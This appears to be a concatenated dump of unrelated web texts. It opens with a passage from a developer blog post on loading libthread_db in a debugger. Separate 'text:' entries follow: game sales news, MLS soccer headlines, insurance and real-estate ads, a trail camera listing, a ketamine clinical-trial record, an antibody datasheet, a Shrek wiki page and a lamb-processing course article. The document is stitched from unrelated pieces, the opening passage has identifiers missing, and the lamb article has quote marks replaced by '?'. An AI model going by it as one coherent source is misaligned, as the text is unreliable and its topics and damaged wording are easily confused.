. This will add all exported symbols to the dynamic symbol table and you will be able to load libthread_db
The second way to do it is much cleaner and strongly recommend over the previous method.
- Create a file which specifies the symbol names you want added to the dynamic symbol table.
- Use the linker flag
to letld
know which symbols you want placed in the dynamic symbol table.
Your file might look something like this:
{ ps_pdread; ps_pdwrite; ps_pglobal_lookup; /* more symbol names would go here... */ };
If you are using gcc
, you can then simply pass the flag: -Wl,--dynamic-list=FILENAME
and your executable will have the symbols listed in the file placed in the dynamic symbol table.
Regardless of which method you use be sure to verify the results by using readelf
to determine if the symbols actually made it to the correct symbol table.
Calling the initialize function and allocating a libthread_db
So, after all that work you will finally be able to load the library.
Since the library was loaded with libdl
, you will need to use dlsym
to grab function pointers to all the functions you intend to use. This is kind of tedious, but you can make clever use of C macros to help you, as long as you also make use of documentation to explain how they work.
So, to find and call the initialize function (without any macros for sanity and clarity):
/* find the init function */ td_init = dlsym(handle, "td_init"); if (td_init == NULL) { fprintf(stderr, "Unable to find td_init"); return -1; } /* call the init function */ err = td_init(); if (err != TD_OK) { fprintf(stderr, "td_init: %d\n",err); return -1; } /* find the libthread_db handle allocator function */ td_ta_new = dlsym(handle, "td_ta_new"); if (td_ta_new == NULL) { fprintf(stderr, "Unable to find td_ta_new"); return -1; } /* call td_ta_new */ err = td_ta_new(&somestructure->ph, &somestructure->ta); if (err != TD_OK) { fprintf(stderr, "td_ta_new failed: %d\n", err); return -1; } /* XXX don't forget about td_ta_delete */
A cool version check
performs a rather interesting version check when called before allocating a handle:
- First, it uses the
symbol you implemented to search for the symbolnptl_version
in thelibpthread
library linked into the remote process. Your function should find this symbol and return the address. - Next,
reads several bytes from the target process at the address yourps_pglobal_lookup
returned using yourps_pdread
function. - Lastly, the bytes read from the target process are checked against
's internal version to determine if the versions match.
So, the library you load calls functions you implemented to search the symbol tables of a process you are attached to in order to read a series of bytes out of that process' address space to determine if that process' threading library matches the version of libthread_db
you loaded into your debugger.
Fucking rad.
By the way, if you were wondering why libpthread
is one of the few libraries that is not stripped on Linux, now you know. If it were stripped, this check would fail, unless of course your ps_pglobal_lookup
function searched debug information.
Now you can use the library
At this point, you've done enough setup to be able to dlsym
search for and call various functions to iterate over the threads in a remote process, to be notified asynchronously when threads are created or destroyed, and to access thread local data if you want to.
Here's a summary of the steps you need to go through to load, link, and use libthread_db
- Implement a series of functions and structures specified in the
implementation(s) you are targeting. You can find these in the header file calledproc_service.h
. - Attach to the remote process, determine the path of the threading library it is using and look nearby to find
. Alternatively, allow the user to specify the location oflibthread_db
. - Use
to load the library by callingdlopen
. - Use
to findtd_init
. Call these functions to initialize the library. - Ensure you are using either
to place the symbols in the correct symbol table so that the runtime dynamic linker will find them when you loadlibthread_db
. - Make sure to use lots of error checking and debug output to ensure that your implemented functions are being hit and that they are returning the proper return values as specified in
. - Sit back and consider that this entire process actually works and allows you to debug or trace processes with multiple threads.
If you enjoyed this article, subscribe (via RSS or e-mail) and follow me on twitter.


text:
Nintendo sold 160K Wii U units worldwide last quarter
To say that Nintendo's Wii U had a troubling fiscal first quarter might be an understatement.
The game company on Wednesday announced that during that period during April, May, and June , it sold only 160,000 Wii U units worldwide, bringing its grand total since its launch last year to just 3.6 million units sold. During the three-month period, Nintendo sold just a little over 1 million software units globally.
Each month, research firm NPD releases market data on the U.S. gaming market, and although it doesn't announce console unit sales figures, it's been clear … Read more

subset: commoncrawl


text:
MLS Preview: Sporting KC set for busy schedule, LA Galaxy host Real Salt Lake
by Football News
MLS Cup holders Sporting Kansas City face a marathon start to the season with Saturday's trip to Seattle their first of five games in 15 days... Read more
Pareja targets success at Dallas
by Football News
Oscar Pareja has set his sights on building "something really special" following his return to Dallas as head coach... Read more
Sporting KC settles for 2-2 draw at FC Dallas
by Sporting Kansas City
Sporting Kansas City settled for a 2-2 draw at FC Dallas on Saturday with their sixth result on the road in eight away matches this season... Read more
Seattle 4 Dallas 2: Dallas gets thrashed in the Emerald City
by Philip Mitchell
Seattle was home to quite an entertaining match Saturday evening as the Sounders hosted the Western Division's first place team, FC Dallas... Read more
Timbers Extend Unbeaten Run to Eight, Earn Draw at FC Dallas
by Portland Timbers
Portland remains unbeaten on road with 1-1 draw against MLS leader FC Dallas... Read more
Portland & Dallas Extend Undefeated Streaks With a Draw
by Philip Mitchell
On Wednesday evening, Frisco, Texas was the home of the battle of two western conference teams aiming to keep their seven game winning streaks alive. After 90 minutes, both teams walked away with what they wanted: a draw... Read more
MLS Preview: Two Hot Teams Meet in Texas
by Philip Mitchell
Frisco, Texas will be the home on Wednesday May the 8th, to two of the hottest teams in MLS' western conference... Read more
That's more like it; 'Caps draw with FC Dallas
by Jonathan Szekeres
For a while, it looked like the Vancouver Whitecaps were going to experience some deja vu; another 2-0 loss at the hands of Western Conference rival FC Dallas... Read more
Gored by the Toros: What went wrong?
by Jonathan Szekeres
Stop me if you've heard this one before: The Vancouver Whitecaps did poorly on the road on the weekend. Seems like a running theme, doesn't it? Well, it did happen again, with the boys in blue and white falling 2-0 to FC Dallas... Read more
Whitecaps vs FC Dallas: Three Things to Watch
by Jonathan Szekeres
The Vancouver Whitecaps and Dallas FC are set to do battle later today. Football.com has three story lines you need to follow for the match... Read more
George John Should File Assault Charges
by Simon Allen
It's like the 1980's all over again. Margaret Thatcher is in the news, Adam Ant has a new Album out and Hooliganism is front and center in the world of Soccer... Read more
Toronto FC 2 - 2 FC Dallas
by FC Dallas
FC Dallas (4-1-1, 13 points) capped its two-game road swing with an exciting 2-2 draw against Toronto FC today at BMO Field. Unbeaten in its last four matches, FC Dallas now returns to FC Dallas Stadium to face the L.A... Read more
MLS wrap: Dallas beat 10-man Real Salt Lake, Dynamo fight back
by Football News
FC Dallas climbed to the top of the Western Conference in Major League Soccer with a 2-0 win over Real Salt Lake on Saturday... Read more


text:
Maryland's Father Leo or grillmeister Bobby Flay? We'll find out on Wednesday (Sept. 9) when the Food Network airs the episode pitting the cooking priest against the Iron Chef in Throwdown with Bobby Flay at 9 p.m.
I wrote about the fajita cook-off earlier this summer. Now, the day of reckoning is almost here. To show support for Father Leo Patalinghug— who is director of pastoral field education at Mt. St. Mary's Seminary in Emmitsburg—a free event is being held from 8-10 p.m. in Little Italy at DaMimmo's parking lot, where guests can watch the show on a big TV screen.
Father Leo, who grew up in Brooklyn Park, will be there, too. He wants to spread the word about his program, Grace Before Meals, which encourages people to share meals. He has a website and a book with recipes to promote the endeavor.
I talked to Father Leo on the phone this week. The 39-year-old priest still remembers how nervous he was during the competition with chef Flay. "My hands were shaking," he said. "He's the king of grilling."
If nothing else, we're pretty sure Father Leo has God on his side


text:
Jared Hunt of the Charleston Daily Mail has a well-timed article on internet rumor-mongering. West Virginia fans have been clogging Twitter with rumors of WVU heading to the SEC, despite the facts that adding West Virginia would make little sense for the SEC and that the Mountaineers recently voted to increase the Big East exit fee.
↵↵↵These supposed soothsayers go by user names like "mexman" or "EERHole," speak in obscure riddles or Nostradamus-like quatrains, and purport to have the ear of university higher-ups ...
↵The realignment talk started just a few days after Pittsburgh and Syracuse announced they were leaving the Big East.
↵The first prognostication came from someone called "Luke444," who said he knew for a fact that WVU had been accepted by the SEC, and it was going to be announced at 4 p.m. the following Tuesday.
↵That Tuesday came and went.
There's only so much criticism one can dish out to these folks without risking sounding like an MSM type screaming at bloggers to get off his lawn, but I can't remember a time when I more frequently found myself thinking, "Well, yeah ... but who is that?" Even in our new media climate, credibility has to be earned, and it seems like there are a lot of people out there who really enjoy the few hours of attention they can get from spreading a false rumor that people really want to believe is true. That's not just confined to WVU fans, of course, but the WVU-to-the-SEC rumors have so far been a great example. Next time you hear that WVU is switching conferences, wait until it's reported by someone who has something to lose if he or she is wrong. Then retweet it.


text:
Van Insurance – Commercial Vehicle Insurance
Welcome to Van Quote Direct, a leading online commercial vehicle insurance website. We compare the van insurance market to find you quality commercial vehicle insurance, at an affordable price, 24 hours a day.
- Leading UK insurance intermediaries
- Over 40 years' experience
- Competitive prices
- Get a quote 24 hours a day, 7 days a week.
- UK office support team – normal working hours.
We search the UK commercial van insurance market so that you don't have to. It's very quick and easy to get the best quotes tailored to your needs. Don't just take our word for it – try it to see how much money you can save if you are looking for cheap van insurance.
Simply enter your details once and we will do the rest giving you the most competitive van insurance or commercial vehicle insurance rates from our large panel of leading UK insurers. Buying van insurance online has never been easier!
Latest News
Win a £50 Halfords Voucher with VanQuoteDirect!
Winter is never easy for commercial vehicle owners, as after months of rain, wind and snow your vehicle is usually in dire need of some … Continue reading
As well as Commercial Vehicle Insurance, we also offer great quotes on...
Car Insurance
Get a Car Insurance quote today. Simply fill out one short form to start saving money immediately!
Home Insurance
Get a great deal today on your Home Insurance. Cover starts immediately to save you money!


text:
Product Number: | BH119405 |
Item Price: | $199.99 |
Availability: | Currently Out of Stock, click the alert icon to be notified when product is available. |
Shipping Weight: | 1.08 lbs. |
6" tall, 4" wide, and big enough to revolutionize the industry. Small enough to fit in your palm, and packed with technology that'll put your hands around antlers like no other trail camera on the market. Along with efficiency of space – carry a whole fleet of Trophy Cams to your hunting grounds in a daypack – the battery life and trigger speed are among the best in the world today. They'll run up to six months on a single set of AA batteries. And the PIR sensor has a coverage area 3x that of any camera we've built to date, with a trigger time consistently less than one second. They won't alert game animals thanks to 24 night vision LEDs. Select up to three rapid-fire images per trigger, or a 0 to 60-second interval between photos. Video mode records a programmable 1 to 60 seconds of action. Plus, an optional built-in color viewer gives you an instant look at what's passed by. High/low resolution settings capture your choice 3MP or 5MP images.
• 5 MP high-quality full color resolution
• Day/night autosensor
• External power compatible
• VGA video 16 FPS
• Adjustable PIR (Lo/Med/High)
• Trigger speed less than 1 second| Trigger interval – 0 sec. to 60 min. programmable
• Multi-image mode – 1-3 images per trigger
• Video length – 1-60 seconds, programmable
• Time lapse mode
• Temperature range -5° F to 140° F
• 24 infrared night vision LEDs – 45 ft. range
• PIR sensor is motion activated out to 45 ft.
• 4 AA – 8AA batteries (not included)
• Runs up to six months on one set of batteries
• Adjustable web belt and 1/4-20 socket
• SD card slot
• Resolution Setting: 3, 5MP
• Time Lapse Mode: Yes
• PIR Sensor: Low/Medium/High
• Night Vision Flash: 24 LED, 45ft.
• LCD Display: B&W Text LCD
• Day/Night Sensor: Auto
• Power Supply: AA (4-8)
• Batter Life: Up to 180 days
• Video Resolution: VGA 16 fps; QVGA 20 fps.
• Video Length: Up to 60 sec.
Customers who bought this item also purchased
Similar items: Trail Cameras
Sort By:


text:
Username Password (forgot?) or Register
Provides a full browser window view of the post edit screen, for an uncluttered posting experience.
Download Version 1.0
Requires: 3.1 or higher Compatible up to: 3.1.4 Last Updated: 2011-4-5 Downloads: 291
Got something to say? Need help?
0 people say it works. 0 people say it's broken.
Log in to vote.


text:
Modern Bedroom Furniture
Your personal sanctuary is no longer a dream, as you explore the delicate contemporary bedroom designs from the Modani bedroom collection. Escape to another world in a modern Baroque bed or slumber in style with a sleek Zen platform bed. Complete your domain of perfect serenity with a variety of plush Italian leather armchairs and loungers and keep your element as functional as possible with Modani's minimalist dressers and nightstands. These are not only modern and chic bedroom accessories; they are perfect for storing away precious items in any size bedroom. Modani's custom designed hydraulic systems, imported from Italy, allow you to store away your personal items underneath your bed and away from the naked eye. Brighten up your den with contemporary lamps and widen any small space with custom designed oversize mirrors. Lose yourself in designing your chamber; at Mondani, the sky is the limit for creating that perfect modern bedroom furniture.
Leo Stool White
$240.00 -
Massiano Dresser White
Reg. $1,005.00
Now: $590.00
Leo Stool Black
$240.00 -
White Stool Bellagio
Brown Stool Bellagio
$190.00 -
Black Stool Bellagio
$190.00 -
Carter Grey Bed
$1,290.00 -
Cavana Storage Twin Bed White
Lanai Bed White
$1,290.00 -
Movido White Bed
Reg. $2,195.00
Now: $1,290.00
Ekon Bed Brown
$690.00 -
Ekon Bed White
Cavana Storage Bed Black
$990.00 -
Brown Persa Platform Bed
Reg. $1,515.00
Now: $890.00


text:
Association of Intravenous Ketamine With Thoracic Epidural Analgesia: Effects on Pain and Respiratory Function Following Thoracotomy.
Recruitment status was Recruiting
- Full Text View
- Tabular View
- No Study Results Posted
- Disclaimer
- How to Read a Study Record
Thoracotomy for lung resection is deemed painful. Ketamine is now a renewed interest in preventing acute postoperative pain. A previous study performed in the service testing the association ketamine/morphine versus morphine PCA, postoperative, for patients who do not benefit from postoperative epidural thoracic surgery, has demonstrated a reduction of postoperative pain associated with a reduction of nocturnal arterial desaturation following surgery when ketamine was added to morphine.
Condition | Intervention |
Thoracotomy |
Drug: ketamine Drug: placebo |
Study Type: | Interventional |
Study Design: | Allocation: Randomized Endpoint Classification: Efficacy Study Intervention Model: Parallel Assignment Masking: Double Blind (Subject, Investigator) Primary Purpose: Treatment |
Official Title: | Association of Intravenous Ketamine With Thoracic Epidural Analgesia: Effects on Pain and Respiratory Function Following Thoracotomy. |
- To estimate the immediate postoperative analgesic effect of the association ketamine IV-thoracic epidural with regard to the use of the only epidural [ Time Frame: 24 months ] [ Designated as safety issue: No ]
- To estimate the effect of the association ketamine IV thoracic epidural on the postoperative pain postponed in 1, 3 and 6 months [ Time Frame: 24 months ] [ Designated as safety issue: No ]
- To estimate the effect of the association ketamine IV thoracic epidural on the incidence of the urinary side effects and hémodynamiques of the epidural [ Time Frame: 24 months ] [ Designated as safety issue: No ]
Estimated Enrollment: | 60 |
Study Start Date: | March 2008 |
Estimated Study Completion Date: | December 2010 |
Estimated Primary Completion Date: | July 2010 (Final data collection date for primary outcome measure) |
Arms | Assigned Interventions |
Placebo Comparator: 1
Drip of physiological serum
Drug: placebo
physiological serum
Active Comparator: 2
Drip of ketamine
Drug: ketamine
ketamine with various concentrations
Detailed Description:
In this prospective double blind randomized study, intravenous administration of an analgesic dose of ketamine was started since the induction of general anesthesia and continued during the first 48 postoperative hours in association with epidural analgesia.
Ages Eligible for Study: | 18 Years to 85 Years |
Genders Eligible for Study: | Both |
Accepts Healthy Volunteers: | No |
Inclusion Criteria:
- Subject between 18 and 85 years
- subject of both sexes
- subject operated in the service of thoracic surgery of a lobectomy by thoracotomie lateral or postlaterale subject
- subject operated in settled surgery
Exclusion Criteria:
- Against indication in the epidural insanity,
- confusionnel, patient psychotic
- treatment in the long price by medicine which can interfere on the pain (morphine, antidepressants, psychotropic treatment)
Contact: Françoise GAILLAT, MD | 0491744634 | email@example.com |
France | |
Service de chirurgie Orthopédique-Traumatologie - Hopital Sainte Marguerite | Recruiting |
Marseille, France, 13009 | |
Contact: Françoise GAILLAT, MD 0491744634 email@example.com |
Principal Investigator: | Françoise GAILLAT, MD | Assistance Publique des Hôpitaux de Marseille |
No publications provided by Assistance Publique Hopitaux De Marseille
Additional publications automatically indexed to this study by ClinicalTrials.gov Identifier (NCT Number):
Responsible Party: | Assistance Publique Hopitaux De Marseille |
ClinicalTrials.gov Identifier: | NCT00726258 History of Changes |
Other Study ID Numbers: | 2007-00336-20, 2007-04 |
Study First Received: | July 30, 2008 |
Last Updated: | January 29, 2010 |
Health Authority: | France: Ministry of Health |
Additional relevant MeSH terms:
Ketamine Anesthetics, Dissociative Anesthetics, Intravenous Anesthetics, General Anesthetics Central Nervous System Depressants Physiological Effects of Drugs Pharmacologic Actions Central Nervous System Agents |
Therapeutic Uses Excitatory Amino Acid Antagonists Excitatory Amino Acid Agents Neurotransmitter Agents Molecular Mechanisms of Pharmacological Action Analgesics Sensory System Agents Peripheral Nervous System Agents |
ClinicalTrials.gov processed this record on March 11, 2014


text:
- Description of Target:
- The function of Gria3 remains unknown.
- Gene Symbol:
- Gria3
- Official Gene Full Name:
- Glutamate receptor, ionotropic, AMPA3 (alpha 3)
- NCBI Gene Id:
- 53623
- Alias Symbols:
- 2900064I19Rik; GluR-C; GluR-K3; Glur-3; Glur3; Gluralpha3; KIAA4184; mKIAA4184; GluA3
- Tissue Tool:
- Find tissues and cell lines supported to express Gria3.
- Protein Accession #:
- Nucleotide Accession#:
- Swissprot Id:
- Host:
- Rabbit
- Clonality:
- Polyclonal
- Protein Name:
- Gria3 protein EMBL AAI29857.1
- Protein Size (# AA):
- 888
- Molecular Weight:
- 100kDa
- Application:
- Immunogen:
- The immunogen for anti-Gria3 antibody: synthetic peptide corresponding to a region of Mouse
- Product Format:
- Lyophilized powder
- Complete computational species homology data:
- Gria3 antibody - N-terminal region (ARP35200_P050)
- Predicted Homology Based on Immunogen Sequence:
- African clawed frog: 100%; Bovine: 100%; Chicken: 100%; Dog: 100%; Guinea pig: 100%; Horse: 100%; Human: 100%; Mouse: 100%; Pig: 100%; Rabbit: 100%; Rat: 100%; Zebrafish: 78%
- Species Reactivity:
- Bovine, Dog, Guinea pig, Horse, Human, Mouse, Pig, Rabbit, Rat, Zebrafish
- Datasheets / Downloads:
- Printable datasheet for
anti-Gria3 antibody
- ARP35200_P050 - Peptide Sequence:
- Synthetic peptide located within the following region: EEMDRRQEKRYLIDCEVERINTILEQVVILGKHSRGYHYMLANLGFTDIV
- Blocking Peptide:
- For anti-Gria3 antibody is Catalog # AAP35200 (Previous Catalog # AAPP06435)
- Key Reference:
- Reconstitution and Storage:
- Add 50 ul of distilled water. Final anti-Gria3 antibody concentration is 1 mg/ml in PBS buffer with 2% sucrose. For longer periods of storage, store at -20C. Avoid repeat freeze-thaw cycles.
Product Protocols: Gria3 antibody tested with Human Mouse Liver Tissue (ARP35200_P050)
Aviva Systems Biology is the original manufacturer of this Gria3 antibody (ARP35200_P050)
Click here to view the Gria3 antibody Western Blot Protocol
Product Datasheet Link: Gria3 antibody (ARP35200_P050)
WB Suggested Anti-Gria3 Antibody Titration: 0.2-1 ug/ml
ELISA Titer: 1:2500
Positive Control: Mouse Liver
Western Blot image:
Description of Target: The function of Gria3 remains unknown.
Questions pertaining to this data can be directed to email@example.com
Aviva Systems Biology's Gria3 antibody (ARP35200_P050) has been tested using other cell lysates and tissues. To obtain more data about this antibody please email us at firstname.lastname@example.com.
To order by phone call us at (888) 880-0001, fax us at (858) 552-6975 or send an email to email@example.com. Aviva manufactures this antibody so we can offer the best price. Please contact us to request pricing information.
All of Aviva's products are guaranteed for the applications and experimental sample types mentioned in the datasheet below. Are you curious if this product will work for you? Please contact us at firstname.lastname@example.com
- Protocol:
- Tips Information:
See our General FAQ page.


text:
Big Bad Wolf
Talk0this wiki
Big Bad Wolf | |
The Big Bad Wolf | |
Name |
Big Bad Wolf |
Name |
Unknown |
Status |
Living |
Occupation |
Rumpelstiltskin's wigmaster (alternate reality only) |
Location | |
Gender |
Male |
Family | |
Race |
Wolf |
Voice |
The Big Bad Wolf, or just Wolfie, is one of the fairytale creatures that appeared in Shrek, Shrek 2, Shrek the Third, and Shrek Forever After. He was going to appear in Shrek The Finale, but did not after all for unknown reasons.
The Big Bad Wolf appeared in Shrek as one of the many fairy tales who escaped to Shrek's swamp after Red Riding Hood tried to sell him to Lord Farquaad 's army. Shrek discovers him lying in his bed. He wasn't seen further until Shrek's Karaoke Dance Party singing Who Let The Dogs Out along with The Three Little Pigs .
Shrek 2
In Shrek 2, it appeared that Wolfie had been living in the tower where Fiona was trapped. He was found in Fiona's bed by Prince Charming. While Shrek, Princess Fiona and Donkey went to Far Far Away, Wolfie and the other fairy tale creatures watched over the swamp. He wasn't seen again until later on when he saw Shrek, Donkey and Puss in Boots getting arrested. The group then went to the prison and helped the trio escape.
The Big Bad Wolf also helped Shrek defeat the Fairy Godmother at the end of the film.
Shrek the Third
In Shrek the Third , The Big Bad Wolf was at Fiona's baby shower and gave her a present. When Prince Charming and Captain Hook broke in, they demanded to know where Shrek was. Gingy refused to tell, and when confronted by Hook, his life flashed before his own eyes. Then Hook asked it to Pinocchio since he can't lie but he was twisting the truth and Bricks couldn't take it longer and told where Shrek was, with Wolfie only saying "Oh, Dear". The Big Bad Wolf was also at the big rescue seen in the end, where they fought the evil fairy tales.
Shrek the Halls
In Shrek the Halls, Wolfie joins Christmas at Shrek's swamp.
Shrek Forever After
In Shrek Forever After, When Shrek enters the alternate realaity, Wolfie was Rumplestiltskin's Wig handler and he was wearing a maid outfit. He also had a brief appearance at the party of the Orge triplets.
In video games
Big bad wolf is a playable character in Shrek Super Slam, although, he does not wear his regular pink, instead his gown colours are red, blue, green, and yellow, but in the video game intro he is shown wearing the pink gown. It could have been the beta version of the character. His slam is huffing in pair and puffing it out, the direction of the blow can be controlled.
He also appeared in Shrek Smash and Crash Racing as the car of Red Riding Hood


text:
Noostr is a content management system aimed squarely at social news networks. Sites like Reddit, Hacker News, and Digg are all social news aggregators, just like your Noostr site will be. People can sign in, submit news stories or ask questions, and everyone can vote for the best ones. Those top stories float to the front page and generate more traffic, more comments, and more votes.
PlainAjax is a lightweight, crossplatform framework designed to simplify the use of Ajax. It saves the developer from Ajax implementation details and focuses on the most common tasks of an Ajax Web development. It sends requests to the Web server, posts data from HTML input elements, posts data from JavaScript variables, puts the server's response into a HTML element, processes responses using a JavaScript function, and much more.
A non-graphical .NET Project management component which enables .NET applications to read, write, and manage Project documents without utilizing Microsoft Project.


text:
Shea Homes at Jubilee
Lacey, Washington
Shea Homes at Jubilee is a beautiful resort community located in Lacey, Washington just north of I-5 east of Olympia. Jubilee has its own beach on the Puget Sound, known as one of the nation's top-rated areas to live. Wonderfully affordable new home designs from the low $200s.
Trilogy at Redmond Ridge
Redmond, Washington
Trilogy enjoys one of the best resort community locations in Western Washington. Set just minutes outside of Seattle among the green forests of Redmond, this vibrant resort community is almost sold out and the best homes are currently available.
Trilogy at Tehaleh
Bonney Lake, Washington
An ideal location northwest of Mount Rainier National park and just 39 miles southeast of downtown Seattle, 20 miles east of Tacoma makes Trilogy at Tehaleh a great new choice. Part of the master plan of Tehaleh, this resort community is a new style of Trilogy, offering an enriching lifestyle and uniquely-designed homes in a more intimate setting that attracts people with a zest for life. Unique new home designs from the high $200s.
Encanterra Country Club
San Tan Valley, Arizona
The ultimate in affordable luxury in a completely private setting. Located in the desirable Southeast Valley less than an hour from downtown Phoenix and Scottsdale, this spectacular all-ages resort community recently opened a 55+ Trilogy enclave within the Country Club. All Members enjoy the luxurious club and unique amenities as well as championship golf on a private course. Affordably luxurious new home designs from the high $100s that include SheaXero - The no electric bill home™ features with free solar.
Trilogy at Vistancia
Peoria, Arizona
Located in Phoenix's Northwest Valley and the centerpiece of America's Best Planned Community, this vibrant resort community enjoys a pristine desert setting, award-winning golf and easy access to all your favorite retailers and entertainment. Exciting new home designs from the mid $200s that include SheaXero - The no electric bill home™ features with free solar.
Trilogy at Monarch Dunes
Nipomo, California
Also known as relaxation central, this spectacular all-ages resort community has a premium Central Coast location right off Highway 1 and year-round gorgeous weather, just a few hours' drive from both San Francisco and Los Angeles. Offering exciting home designs from the mid $400s to spectacular $1 Million+ homes that all include SheaXero - The no electric bill home™ features with free solar.
Trilogy at Rice Ranch
Orcutt, California
This newly-opened all-ages community in Santa Barbara County is perfect for your empty nest or your next family home. Set in the heart of wine country, Rice Ranch features a 26-acre award-winning park and sports complex with extensive walking, hiking and biking trails and dog parks. The community also has championship soccer and baseball fields, playgrounds, and picnic areas. Introducing new homes designs from the low $400s that all include SheaXero - The no electric bill home™ features with free solar.
Trilogy at Rio Vista
Rio Vista, California
City close & country quiet, with plenty of ways to have fun. Located near the Sacramento Delta and all its water sports activity, this golf resort community lets you get away, yet is less than an hour from San Francisco or Sacramento. Wonderfully affordable new home designs from the low $200s that include SheaXero - The no electric bill home™ features with free solar.
Trilogy at The Polo Club
Coachella Valley, California
Trilogy recently returned to the California desert with our newest community. Trilogy at The Polo Club is an exclusive gated resort community opening for sales this fall. It will be an exciting new breed of Trilogy that offers an active resort lifestyle on a more intimate scale. Aimed at sophisticated buyers looking for a unique community in the heart of everything, you can help design the future of resort living. We invite you to learn more by joining our interest list or visiting the Trilogy Living Vision™ Studio, now open daily.
Trilogy at The Vineyards
Brentwood, California
Foodies and wine lovers, welcome home to this East Bay Area location set among active vineyards and olive groves in the rolling hills of Contra Costa County. Spectacular views of Mt. Diablo State Park abound at this resort community in desirable Brentwood. Spectacular new home designs from the mid $400s that include SheaXero - The no electric bill home™ features with free solar.
Rancho Mission Viejo, California
Shea Homes at Ardiente
North Las Vegas, Nevada
Ardiente is located in convenient and desirable North Las Vegas. Once inside this gated resort community you will enjoy a great Club and fun activities to share with friendly people just like you. Exciting new home designs from the high $100s, and homes that include SheaXero - The no electric bill home™.
Trilogy Ocala
Ocala, Florida
Shea Homes is excited to announce the expansion of our active lifestyle portfolio with Florida's newest Trilogy community in Ocala. This naturally beautiful master planned community boasts a stunning 632 acres set amidst gently rolling hills in the heart of Florida's pristine horse county. Southern charm, tradition and heritage defiines the famed Ocala area, rich in culture, nature and history with an ideal warm and sunny climate, perfect for year-round activities.
Trilogy Orlando
Groveland, Florida
In the gently rolling hills of Lake County in Central Florida, our newest Trilogy combines small-town charm with sophisticated amenities designed for gated resort living. The spectacular new club, Magnolia House, raises the bar for resort living featuring 57,000 square feet of fun in a stylishly casual setting. Outstanding new home designs from the high $100s that include SheaSolar: The Smart Choice in Green Homes.
Trilogy at Lake Frederick
Lake Frederick , Virginia
Our new Trilogy location is especially convenient, just 90 minutes from Washington, D.C., and less than an hour away from dozens of historical sites, premier shopping, restaurants, wineries, museums, and more. This stunning Trilogy community will be built to surround Lake Frederick, a dramatically beautiful 120-acre body of water that will offer residents an exciting opportunity to enjoy the outdoors in a new way.
Create Your Future Here
Click to explore communities, floorplans, member activities, amenities, and more!
Discover the Trilogy Difference
Active Lifestyle Resort Communities
Trilogy communities are designed for people who want to enrich their lives, nourish their souls, feel great and have fun. Our communities offer an environment that will help you accomplish whatever goals you have for yourself. We believe that life is a celebration of experiences that are meant to be shared with friends old and new. > Explore all 15 Trilogy Communities
Hear what community members have to say
Real Owners Share Their Stories
It feels like you are on a vacation, but you didn't have to pack and you didn't have to pay the valet. You don't have to go out every day to eat. It's like you live in a resort. My favorite way to describe it is "Home Sweet Resort!"
- Marie D'Amato, Trilogy Orlando -
The cost savings is extremely important. That's what really sold us on the SheaXero house, the energy efficiency. I would have liked solar, but it was never affordable in the past. So, when they threw in solar, I was over the moon."
- Paul & Lavone Oldale, Shea Homes at Ardiente -
My wife and I checked out the other homes in the area, but none were built with the quality of Shea. Then you add the friendly people in this smaller Community, the friendly Guard's at the gate for security, and quality homes with solar power. Our Community has personality, it doesn't look cookie cutter, and with the five parks there is always someone walking about and talking to their neighbors. It has been easy to find Clubs and activities to be involved in our Community. Great homes, and a perfect Community!"
– Donald Marx, Shea Homes at Ardiente -
Trilogy is ahead of the curve with their SheaXero homes. They had the three things that were important to us: low cost, environmental responsibility and social responsibility."
– Glenn and Sherrill Erdell, Trilogy at Vistancia
GET INFORMATION Let us send you email updates and a FREE DVD
Thank you!
We hope you enjoy the valuable information about Shea and Trilogy Active Lifestyle Communities found in our email newsletter. You can look forward to receiving one every couple of weeks with offers and news.
Now come see us in person!
We highly recommend a no-risk community tour to fully understand what sets Shea and Trilogy Active Lifestyle Communities apart from the rest.
Please call (800) 685-6494 to set up a community tour today!
Did you know you can "Try Before You Buy" at some Trilogy communities?
Come spend a few days getting a feel for the area, meeting the neighbors, and enjoying all the luxury resort amenities!
Learn how you can Taste the Good LifeNo Electric Bill.
No Extra Charge.
No Kidding.
Announcements, community events, health tips, gardening ideas, investing ideas, craft inspiration, and more!
Join the conversation on The Good Life Blog


text:
By Amy Conner
June 2005 -- Sheep producers are taught to think about what happens to their product once it leaves the farm or ranch in The Ohio State University Lamb 509 Short Course.
?A lot of times as producers, our thought process stops when the animal leaves the farm. One of the things we try to teach people is that we really need to think of the industry as a whole,? says Henry Zirby, Ph.D., extension meat specialist at The Ohio State University and instructor in the Lamb 509 Short Course.
Instructors in the course encourage sheep producers to learn about the processes that take place at the meat packer and retail levels, and learn the product?s attributes that affect consumer demand.
?We hope participants learn more about the sheep industry, what they are producing and what types of things they can do to produce a better lamb for the consumer,? says Roger High, the Ohio State University sheep specialist and Ohio Sheep Improvement Association executive director. ?We have lambs, we feed them and sell them; but as an industry, most producers really don?t know the packages they are producing.?
This three-day, hands-on course addresses the importance of producing consistent, high-quality products for the consumer. It is jam packed with useful information producers can take back to their farm or ranch and implement into their sheep operations on a daily basis.
The course begins with participants being trained on how to conduct a live evaluation and apply those practices to eight lambs. The characteristics identified in the live evaluation are age/gender class, weight, dressing percentage, finish and muscling.
?We try to bring in a variety of lambs for students to determine the value of the animals,? says High. ?They actually have the opportunity to get their hands on the lambs and to discuss the muscling, fat, pelt values and live weight.?
Those same lambs are then offered at an auction, in which attendees are split into groups of four to purchase the lamb they will use through the rest of the course.
Once the lambs are purchased, participants have the opportunity to witness the harvest demonstration. Instructors show the stunning, bleeding, pelt removal and evisceration process, stressing the importance of cleanliness to prevent contamination. The carcasses are chilled overnight for use on the second day.
The carcass-evaluation process kicks-off the second day, providing participants with the opportunity to review the U.S. Department of Agriculture grade and quality classifications and the yield of each lamb sold at the auction. Only after a demonstration, teams fabricate their lamb, breaking down the carcasses into wholesale cuts.
After the fabrication process, each team weighs and prices the three components of their lamb: muscle, fat and bone.
?The core of the course is when we get into fabricating the lambs. Producers have a concept of how much fat, muscle and bone are in a carcass; but until they actually break these things down into piles of fat, muscle and bone, they don?t have a very good understanding of how much fat is actually inside the carcass,? says Zirby.
Meat processing is another hands-on experience offered to participants of the course. They learn how different meat products are developed and also produce some value-added products.
On the final day of the course, quality measurements are discussed, including the implications of genetics, nutrition and handling on meat quality. The winners of the group contest, those who made the most money from the lamb they purchased at the auction and fabricated into wholesale cuts, are announced.
?This exercise allows participants to learn about those things that are making them and others in the industry money. Once they learn what is important to the customer, then hopefully we can bridge the gap between what they are producing and what the consumer wants on the dinner plate,? High says.
Attendants of the December 2004 Lamb 509 Short Course had numerous positive comments about what they learned and the hands-on experience they gained.
